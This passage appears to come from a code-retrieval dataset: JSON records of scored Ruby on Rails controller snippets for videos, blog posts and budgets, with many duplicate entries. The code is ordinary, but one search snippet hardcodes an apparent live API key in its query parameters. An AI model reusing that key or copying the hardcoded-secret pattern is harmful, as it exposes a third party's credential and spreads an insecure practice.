"text": "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"title": ""
},
{
"docid": "83974b7c01aa08c7d7f77bbe5db440da",
"score": "0.7338815",
"text": "def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"title": ""
},
{
"docid": "83974b7c01aa08c7d7f77bbe5db440da",
"score": "0.7338815",
"text": "def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"title": ""
},
{
"docid": "83974b7c01aa08c7d7f77bbe5db440da",
"score": "0.7338815",
"text": "def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"title": ""
},
{
"docid": "83974b7c01aa08c7d7f77bbe5db440da",
"score": "0.733777",
"text": "def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"title": ""
},
{
"docid": "b63a0b91cc3f3753abc1c7d41e76dc6c",
"score": "0.73355544",
"text": "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @video }\n end\n end",
"title": ""
},
{
"docid": "86dcc34b32a9ece56582bf17bb16c69c",
"score": "0.7302365",
"text": "def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @videos }\n end\n end",
"title": ""
},
{
"docid": "f5a62510a07abda9f01dc9c729ace82f",
"score": "0.7297313",
"text": "def get_video(video_id)\n get(\"/videos/#{video_id}\")\n end",
"title": ""
},
{
"docid": "1cd60052489080c4f479743e4083d993",
"score": "0.72915715",
"text": "def show\r\n @video = Video.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @video }\r\n end\r\n end",
"title": ""
},
{
"docid": "459668c768fa7d304b324db74a4aeecf",
"score": "0.7288138",
"text": "def show\n get_videos\n end",
"title": ""
},
{
"docid": "5d02d2d355bd7f2b3dad988418076336",
"score": "0.7252952",
"text": "def index\n @videos = Video.find(:all, :order => \"created_at desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @videos }\n end\n end",
"title": ""
},
{
"docid": "0398f042f2ef2a034da4967b32b36113",
"score": "0.7246278",
"text": "def show\n @video_category = VideoCategory.find(params[:id])\n @videos = @video_category.videos \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video_category }\n end\n end",
"title": ""
},
{
"docid": "dd8dbaede0474143d51892cbcf07d3c7",
"score": "0.72342014",
"text": "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end",
"title": ""
},
{
"docid": "1b8afccf642a07e2352ea86e94ba4b3d",
"score": "0.7229304",
"text": "def index\n @videos = Video.all\n if @videos\n render json: { \n status: 'SUCCESS', \n message: 'Load successfully!', \n data: @videos \n }, status: :ok\n else\n render json: { \n status: 'ERROR', \n message: 'Failed to load videos!', \n }, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "eafc9c4ba8b13ca3369e423dabade322",
"score": "0.72142017",
"text": "def show\n render json: @video\n end",
"title": ""
},
{
"docid": "24b55059068ab0d5a2d271c5910b82f2",
"score": "0.71942097",
"text": "def all_videos\n videos = Video.all\n\n if videos\n render json: {\n videos: videos\n }\n else\n render json:{\n status: 500\n }\n end\n end",
"title": ""
},
{
"docid": "ad2a9f85df59ac7ac1a554cf4b151a2f",
"score": "0.7165283",
"text": "def index\n @videodb = Video.all\n \n @config = YAML::load(ERB.new(IO.read(File.join(Rails.root.to_s, 'config', 'viddler.yml'))).result)[Rails.env]\n \n viddler = Viddler::Client.new(@config[\"api_token\"])\n viddler.authenticate! @config[\"login\"], @config[\"password\"]\n \n @videos = viddler.get 'viddler.videos.getByUser', :user => @config[\"login\"]\n puts @videos\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @videodb }\n end\n end",
"title": ""
},
{
"docid": "60114934459286849b942d696d89da19",
"score": "0.71622014",
"text": "def show\r\n @video_collection = VideoCollection.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @video_collection }\r\n end\r\n end",
"title": ""
},
{
"docid": "858e041e1354572d3ea1df6871d1bee3",
"score": "0.7101128",
"text": "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: [@clclass,@lecture, @video] }\n end\n end",
"title": ""
},
{
"docid": "126698c891230d039a6f7d8b5ee45742",
"score": "0.7097395",
"text": "def show\n\t@video = Video.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @list }\n end\n end",
"title": ""
},
{
"docid": "98ef5c4d4ee1bc126a4128dfffae270d",
"score": "0.7097033",
"text": "def get_video videos_url \n @doc = get_root videos_url\n \n @video = @doc.elements['entry']\n end",
"title": ""
},
{
"docid": "1cbfe11213b9b6f15199dc55be387b35",
"score": "0.7085326",
"text": "def show\n respond_to do |format|\n format.html\n format.json { render json: @video }\n end\n end",
"title": ""
},
{
"docid": "c63dd82e1d7b8841f29c0bcc68e1ce8f",
"score": "0.7052033",
"text": "def video_info_by_id(service, part, **params)\n params = params.delete_if { |p, v| v == ''}\n response = service.list_videos(part, params).to_json\n JSON.parse(response).fetch(\"items\")[0]\nend",
"title": ""
},
{
"docid": "d702e6250bd6551ac92ea74d31a32b36",
"score": "0.7051119",
"text": "def show\n @video = VideoPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"title": ""
},
{
"docid": "7dd9ab0cedf1dbd0ccf916a643a1be83",
"score": "0.7038718",
"text": "def show\n @videos = @video_set.videos\n end",
"title": ""
},
{
"docid": "fa037bd2b619ca2499b5cc849b796481",
"score": "0.7037063",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"title": ""
},
{
"docid": "25506437c497986719cde4adc00c16cd",
"score": "0.70109653",
"text": "def index\n @videos = @user.videos\n end",
"title": ""
},
{
"docid": "2b20f06f06aa34fe31f9e5eebb507622",
"score": "0.6995304",
"text": "def videos\n @heading = \"Popular Videos\"\n @stories = Story.find_all_by_media(\"video\")\n\n respond_to do |format|\n format.html { render :action => \"index\" }\n format.xml { render :xml => @stories }\n end\n end",
"title": ""
},
{
"docid": "42fb1d5abab532bb532954195ef1ee0b",
"score": "0.69948983",
"text": "def show\n lecture = Tutorial.find(params[:lecture_id])\n\t@videotuts = lecture.videos.order(:id)\n @videotut = lecture.videos.find(params[:id])\n\trespond_with(@videotut)\n end",
"title": ""
},
{
"docid": "d63a988ba69ef4a4ec3a64608f44ae89",
"score": "0.6991115",
"text": "def index\n @videos = current_site.videos\n @content_for_title = \"Videos\"\n respond_with(@videos)\n end",
"title": ""
},
{
"docid": "82ce9b9bcef582ee920ee27d68d61740",
"score": "0.69806385",
"text": "def show\n get_all_categories\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @video }\n end\n end",
"title": ""
},
{
"docid": "41f86402d16e78efd206eb93d5c8c43b",
"score": "0.6952258",
"text": "def show\n unless @video\n render json: {}, stauts: :not_found, layout: false\n else\n render json: {video: @video}, status: :ok, layout: false\n end\n end",
"title": ""
},
{
"docid": "1f980ba0d0e43b007e2c5c8f55b3372d",
"score": "0.69481784",
"text": "def json_video(videos)\n json_videos = []\n videos.each do |video|\n youtube_id = /(?:&|\\?)v=([^&]+)/.match(video.content)[1]\n json_videos << {\n youtube_id: youtube_id,\n thumb: \"http://img.youtube.com/vi/#{youtube_id}/0.jpg\",\n image: \"http://img.youtube.com/vi/#{youtube_id}/0.jpg\",\n title: video.title\n }\n end\n json_videos\n end",
"title": ""
},
{
"docid": "52580850b819e7cc47796ee702aef479",
"score": "0.692828",
"text": "def show\n # @video = Video.find(params[:id])\n @category = Category.find(params[:category_id])\n @video = @category.videos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"title": ""
},
{
"docid": "84ee145e6b2f5503c6d507ba6207c120",
"score": "0.69227725",
"text": "def index\n @videos = @owner.videos\n respond_with @videos\n end",
"title": ""
},
{
"docid": "f061267ca712f77654829576ae68e6c5",
"score": "0.69182795",
"text": "def videos\n @client = YouTubeIt::Client.new\n @videos = @client.videos_by(:query => params[:description])\n @lifts = Lift.all\n @video = Video.new\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b0d8c297fbfa8912fd7607609e93066a",
"score": "0.6913742",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "40018cc8de7b18eaacf013cd87815f40",
"score": "0.6908816",
"text": "def show\n @user_video = UserVideo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_video }\n end\n end",
"title": ""
},
{
"docid": "8161e9c702cfe7b6d3cb3130612d34b9",
"score": "0.6903597",
"text": "def show\n if @video\n render json: { \n status: 'SUCCESS', \n message: 'Load successfully!', \n data: @video \n }, status: :ok\n else\n render json: { \n status: 'ERROR', \n message: 'Video not found!', \n }, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "20432740fe37a0640a1916e2e646535c",
"score": "0.6903466",
"text": "def show\n @incert_video = IncertVideo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @incert_video }\n end\n end",
"title": ""
},
{
"docid": "72b76dc5801808e457d6e9ffc98f00af",
"score": "0.69005495",
"text": "def show\n @video = Video.find(params[:id])\n end",
"title": ""
},
{
"docid": "72b76dc5801808e457d6e9ffc98f00af",
"score": "0.69005495",
"text": "def show\n @video = Video.find(params[:id])\n end",
"title": ""
},
{
"docid": "72b76dc5801808e457d6e9ffc98f00af",
"score": "0.69005495",
"text": "def show\n @video = Video.find(params[:id])\n end",
"title": ""
},
{
"docid": "72b76dc5801808e457d6e9ffc98f00af",
"score": "0.69005495",
"text": "def show\n @video = Video.find(params[:id])\n end",
"title": ""
},
{
"docid": "72b76dc5801808e457d6e9ffc98f00af",
"score": "0.69005495",
"text": "def show\n @video = Video.find(params[:id])\n end",
"title": ""
},
{
"docid": "638cb2e08e735be39a9f02db84cbbae4",
"score": "0.6887196",
"text": "def index\n @videos = Video.all \n end",
"title": ""
},
{
"docid": "56aeead6afef5fed0d9ee12e67428685",
"score": "0.68864226",
"text": "def index\n @videos = current_user.videos\n @purchased_videos = current_user.purchased_videos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"title": ""
},
{
"docid": "8f2e55a12b0ade3d141cb8a1b0ef2b33",
"score": "0.6882988",
"text": "def show\n @aboutvideo = Aboutvideo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aboutvideo }\n end\n end",
"title": ""
},
{
"docid": "33bb3698000ef49676e9395f961b5428",
"score": "0.6875345",
"text": "def get_video_by_id(id)\n Video.find_by_id(id)\n end",
"title": ""
},
{
"docid": "54eb2cbd22b7ae631ac8846248bd31d0",
"score": "0.6873443",
"text": "def show\n # Pull the selected video album.\n @video_tag = VideoTag.find(params[:id])\n\n respond_to do |format|\n format.json do\n render json: @video_tag\n end\n end\n end",
"title": ""
},
{
"docid": "b2591d35758ebdd6602f79fda53ab498",
"score": "0.68702096",
"text": "def videos(search_parameters)\n self.class.get(\"/search/\", :query => {\n :q => 'violencia',\n :apikey => 'tGJdxmKnlDjOgXgGgWmXtULMwpPGxE0R',\n :format => 'json'\n })\n end",
"title": ""
},
{
"docid": "a4ea5e77e297ac7046ec252c8120cdc7",
"score": "0.6863815",
"text": "def index\n # Select last 100 records that have a processed movie\n @videos = Video.order('created_at DESC')\n @videos.select!{|v| File.exists?(v.movie.path(:mp4))}\n @videos = @videos[0..100]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"title": ""
},
{
"docid": "7626bcc13c252e5ad88ae36ffd366f41",
"score": "0.6857891",
"text": "def index\n # video = Video.new()\n @video_list = Video.get_list()\n end",
"title": ""
},
{
"docid": "0f2f3056a9539c0c38c9c777ff4fb50d",
"score": "0.68571407",
"text": "def show\n # Pull the selected video, if approved.\n @video = Video.approved.find(params[:id])\n\n respond_to do |format|\n format.json do\n if !@video.screenshot.blank?\n screenshot = {\n url: @video.screenshot.url,\n filename: File.basename(@video.screenshot.url)\n }\n end\n render json: {\n id: @video.id,\n video_playlist_id: @video.video_playlist_id,\n embed_code: @video.embed_code,\n embed_id: @video.embed_id,\n title: @video.title,\n subtitle: @video.subtitle,\n caption: @video.caption,\n position: @video.position,\n screenshot: screenshot,\n tags: @video.video_tags.select([:id, :tag]),\n created_at: @video.created_at,\n updated_at: @video.updated_at\n }\n end\n end\n end",
"title": ""
},
{
"docid": "5e129c86facfd807d7ca6f0898f021a9",
"score": "0.684688",
"text": "def index\n respond_with @user.videos\n end",
"title": ""
},
{
"docid": "53085deecfd8c9cfd8a01c0b4879492f",
"score": "0.68461996",
"text": "def show\n @you_tube_video = YouTubeVideo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @you_tube_video }\n end\n end",
"title": ""
},
{
"docid": "ff34487e5960edc9763066c8861521a8",
"score": "0.6840957",
"text": "def show\n \t@video = Video.find(params[:id])\n end",
"title": ""
},
{
"docid": "00166a237da81997109b94b0aae5e7b9",
"score": "0.682962",
"text": "def index\n @videos = Video.all\n end",
"title": ""
},
{
"docid": "b7c850924c7fc67e0b615c846d8dc843",
"score": "0.6826299",
"text": "def list\r\n deleted = params[:deleted] == \"true\" ? true : false\r\n videos = Video.where(deleted: deleted)\r\n render json: videos\r\n end",
"title": ""
},
{
"docid": "4833372b6af5102183e05eb4bf2e2a7c",
"score": "0.6825159",
"text": "def index\n @lecture = Tutorial.find(params[:lecture_id])\n @videotuts = @lecture.videos.order(:id)\n respond_with(@videotuts)\n end",
"title": ""
},
{
"docid": "6a8422ac261b578cfb7fb06720110fd5",
"score": "0.68220156",
"text": "def list(options = {})\n make_request(:get, \"/videos\", options)\n end",
"title": ""
},
{
"docid": "c11f746cfd8980cf4853a7ef1b94dc0a",
"score": "0.682062",
"text": "def show\r\n video = Video.find_by_token(params[:token])\r\n render json: video\r\n end",
"title": ""
},
{
"docid": "aa7abb4dd8b510f53e6a8016972860e7",
"score": "0.68071246",
"text": "def get(video_id)\n params = {:id => video_id, :part => 'snippet,statistics'}\n request = Yourub::REST::Videos.list(self,params)\n Yourub::Result.format(request).first\n end",
"title": ""
},
{
"docid": "7f620bca7cbe81a182b56ebccc481c70",
"score": "0.6806989",
"text": "def index\n @videos = Video.all.page(params[:page])\n end",
"title": ""
},
{
"docid": "cf6985ecef180f2ad2e5e742de178eb8",
"score": "0.68027306",
"text": "def user_videos\n if params[:user_id] == session[:user_id]\n videos = Video.where(user_id: session[:user_id])\n end\n if videos\n render json: {\n videos: videos\n }\n else\n render json:{\n status: 500\n }\n end\n end",
"title": ""
},
{
"docid": "0638455758e877f3c6250a5aae3f4f0c",
"score": "0.6802563",
"text": "def show\n # Pull the selected video playlist.\n @video_playlist = VideoPlaylist.find(params[:id])\n\n respond_to do |format|\n format.json do\n render json: @video_playlist\n end\n end\n end",
"title": ""
},
{
"docid": "af628a8352025a616d4c101c63692306",
"score": "0.6791239",
"text": "def video(id)\n response = establish_connection(\"videos/#{id}.xml\")\n parse_single_xml(response.at(:video), Video)\n end",
"title": ""
},
{
"docid": "b419397377053728c70753e7af779849",
"score": "0.6790394",
"text": "def showVideos\n\n end",
"title": ""
},
{
"docid": "a321908e0b7fe6d3c73a39680b60437d",
"score": "0.67838883",
"text": "def index\n #@videos = Video.find_all_by_account_id(session[:account_id])\n @videos = Video.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @videos }\n format.json { render :json => @videos }\n end\n end",
"title": ""
},
{
"docid": "0925b910a2763f8c4524fe0c1177d339",
"score": "0.6781364",
"text": "def videos\n @artist = Artist.find(params[:id])\n @videos = @artist.active_videos(current_user)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @artist }\n end\n end",
"title": ""
},
{
"docid": "e5369522b98418de9737d806f62c1b95",
"score": "0.6776812",
"text": "def search\n if tag = Tag.find_by_name(params[:name])\n @video = tag.videos\n respond_with do |format|\n format.json {render :json => {:success => true,:video => @video }}\n end\n else\n respond_with do |format|\n format.json {render :json => {:success => false}}\n end\n end\n end",
"title": ""
},
{
"docid": "4fa4085def5e2a60cc56ce3a56479cb9",
"score": "0.6730391",
"text": "def show\n\t\t# Get the user and users videos\n\t\tindex\n\n\t\t# Url to video list\n\t\tvideolist = request.url.split('/'); videolist.pop\n\t\t@videolist = videolist.join('/')\n\n\t\t# Get the video associated with the id\n\t\t@video = Video.find(params[:id])\n\n\t\trender :index\n\tend",
"title": ""
},
{
"docid": "78f4935841ac6d9e25bc88a681d833fa",
"score": "0.67202365",
"text": "def show\n token = Vtoken.first\n video_id = Video.find(params[:id]).video_id\n \n oembed = \"http://vimeo.com/api/oembed.json?url=http%3A//vimeo.com/\" + video_id\n puts (Curl::Easy.perform(oembed).body_str)[\"html\"]\n @video = JSON.parse(Curl::Easy.perform(oembed).body_str)[\"html\"]\n \n respond_to do |format|\n format.html #show.html.erb\n format.xml { render :xml => @vids }\n end\n end",
"title": ""
},
{
"docid": "a47cf6ff9448b8e26f759b6c72e798b2",
"score": "0.6714761",
"text": "def show\n @video = Product.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @video }\n end\n end",
"title": ""
}
] |
483ce1bb029eb533f1d3f8ff892e822b | GET /budget_posts/1 GET /budget_posts/1.xml | [
{
"docid": "471e0faad45fa891c0e2acce5eef8606",
"score": "0.6692518",
"text": "def show\n @budget_post = current_user.budget_posts.find(params[:id])\n @transactions = @budget_post.transactions\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @budget_post }\n end\n end",
"title": ""
}
] | [
{
"docid": "bd336589ad6b77a9b0d7aeac37fffde2",
"score": "0.6698268",
"text": "def index\n @budgets = Budget.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @budgets }\n end\n end",
"title": ""
},
{
"docid": "3edee9f8e3972d692677235450a61249",
"score": "0.6526251",
"text": "def show\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @budget }\n end\n end",
"title": ""
},
{
"docid": "3edee9f8e3972d692677235450a61249",
"score": "0.6526251",
"text": "def show\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @budget }\n end\n end",
"title": ""
},
{
"docid": "3edee9f8e3972d692677235450a61249",
"score": "0.6526251",
"text": "def show\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @budget }\n end\n end",
"title": ""
},
{
"docid": "ed1176cdf48d06f0c3bd269279377371",
"score": "0.64791507",
"text": "def new\n @budget_post = BudgetPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @budget_post }\n end\n end",
"title": ""
},
{
"docid": "87fdc1d9b5af0abd4e5109d362f3759e",
"score": "0.639901",
"text": "def feed\n\n\t request.format = \"xml\" unless params[:format]\n\n @blog = Blog.where(\"url_identifier = ? OR id = ?\", params[:id], params[:id]).first\n\n\t\tunless @blog\n\t\t\tflash[:error] = \"Couldn't find that feed.\"\n\t\t\tredirect_to(:controller => 'blog_posts', action => :index)\n\t\t\treturn\n\t\tend\n\n\t\t@blog_id = @blog.id\n\t\t@blog_posts = BlogPost.where(:blog_id => @blog_id, :is_complete => true).order(\"created_at DESC\").limit(15)\n respond_to do |format|\n format.xml\n end\n\tend",
"title": ""
},
{
"docid": "c6c530ea5bd2d3621eee3081437fbe7a",
"score": "0.6345527",
"text": "def rss \n @posts = Post.find(:all, :order => \"created_at desc\")\n render :action => 'rss', :content_type => \"application/xml\", :layout => false \n end",
"title": ""
},
{
"docid": "fe171954b9ff9e097c3bb0d9866c050c",
"score": "0.6285348",
"text": "def show\n @budgetpost = Budgetpost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budgetpost }\n end\n end",
"title": ""
},
{
"docid": "acf3b2651a16d38f907a38bcb1320530",
"score": "0.6273715",
"text": "def index\n @posts = post_repo.paginate_index(:page => params[:page])\n respond_to do |format|\n format.html # index.html.erb\n format.rss { render :action => 'index.rss.builder' }\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "acf3b2651a16d38f907a38bcb1320530",
"score": "0.6273715",
"text": "def index\n @posts = post_repo.paginate_index(:page => params[:page])\n respond_to do |format|\n format.html # index.html.erb\n format.rss { render :action => 'index.rss.builder' }\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "cd03d6a0462ce6304ab1a2747b8b9773",
"score": "0.6229619",
"text": "def show\n @budget_item = Budget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @budget_item }\n end\n end",
"title": ""
},
{
"docid": "d6698255b2dcd7f7d3430c1dddfc36c1",
"score": "0.62238646",
"text": "def index\n @posts = Feed.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "e75a5ac4832589b22ded3139b91bcd11",
"score": "0.61937976",
"text": "def index\n @posts = Post.published\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "bd41b216b9959bd0ad7916283b8b6fe8",
"score": "0.6160621",
"text": "def index\n @posts = Post.get_by_tags(*@tags).reverse\n \n # raise NotFound if @posts.empty?\n\n # if content_type == :xml\n # @base_host = request.protocol + request.host\n # if @tags.any?\n # @base_url = @base_host + '/tags/' + @tags.join('/')\n # else\n # @base_url = @base_host + '/posts'\n # end\n # end\n\n # raise @tags.inspect\n end",
"title": ""
},
{
"docid": "0243c4f50aa17c3fc23bbf4960584a9a",
"score": "0.61367816",
"text": "def index\n @posts = @post_category.posts.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "7e014ffc1ca9f3c81530ccc6a0120259",
"score": "0.61274385",
"text": "def show\n @post100 = Post100.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post100 }\n end\n end",
"title": ""
},
{
"docid": "7910df6bd5e9a02ba736826525308be9",
"score": "0.6098356",
"text": "def show\n @post102 = Post102.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post102 }\n end\n end",
"title": ""
},
{
"docid": "7256407c1a43363f04b47c7fbbd763fd",
"score": "0.60886824",
"text": "def show\n @ptbudget = Ptbudget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ptbudget }\n end\n end",
"title": ""
},
{
"docid": "707765ac5ae849599c88448f72ce5b2f",
"score": "0.6084897",
"text": "def list_posts(api_object)\r\n puts \"Current Post:\"\r\n doc = Nokogiri::XML.parse api_object.read\r\n contents= doc.xpath('posts/post/content').collect {|e| e.text }\r\n puts contents.join(\", \")\r\n puts \"\"\r\nend",
"title": ""
},
{
"docid": "96353a9632432f29bdb1830a6be90489",
"score": "0.6071929",
"text": "def index\n @posts = Post.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "7cc150c490dfc770040710b22fc9466e",
"score": "0.60583985",
"text": "def show\n @post = Feed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end",
"title": ""
},
{
"docid": "92941c54972073db0ae9cc8f92e8e6c1",
"score": "0.60533077",
"text": "def index\n @posts = Post.all(:order => \"updated_at\", :limit => 50)\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "04c3835819b617bb50e0308d08e0bd27",
"score": "0.6033854",
"text": "def show\n @post452 = Post452.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post452 }\n end\n end",
"title": ""
},
{
"docid": "0599fe7e244447be7e49234eeb12d1ca",
"score": "0.6024043",
"text": "def show\n @post254 = Post254.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post254 }\n end\n end",
"title": ""
},
{
"docid": "17c86f011f1a75e60e15f2b75722e50d",
"score": "0.60219145",
"text": "def index\n @posts = Post.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "17c86f011f1a75e60e15f2b75722e50d",
"score": "0.60219145",
"text": "def index\n @posts = Post.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "6fcf1380a1df77240429b89a35e6ad03",
"score": "0.6020049",
"text": "def index\n\t\t# do the finding in the per-format code\n\t\t# I don't want an atom feed with 200 entries\n\t\trespond_to do |format|\n\t\t\tformat.html do\n\t\t\t\t@posts = Post.find(:all, :order=>'created_at desc')\n\t\t\t\trender\n\t\t\tend\n\t\t\tformat.xml do\n\t\t\t\t@posts = Post.find(:all, :order=>'created_at desc', :limit=>15)\n\t\t\t\trender :xml => @posts\n\t\t\tend\n\t\t\tformat.atom do\n\t\t\t\t@posts = Post.find(:all, :order=>'created_at desc', :limit=>15)\n\t\t\t\trender\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "fef8c3953a05ebdd488222dc9697454c",
"score": "0.60180384",
"text": "def show\n @post82 = Post82.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post82 }\n end\n end",
"title": ""
},
{
"docid": "7227a2d4112d8436b7c7f73aba7f1198",
"score": "0.6006842",
"text": "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "7227a2d4112d8436b7c7f73aba7f1198",
"score": "0.6006842",
"text": "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "7227a2d4112d8436b7c7f73aba7f1198",
"score": "0.6006842",
"text": "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "7227a2d4112d8436b7c7f73aba7f1198",
"score": "0.6006842",
"text": "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "7227a2d4112d8436b7c7f73aba7f1198",
"score": "0.6006842",
"text": "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "7227a2d4112d8436b7c7f73aba7f1198",
"score": "0.6006842",
"text": "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
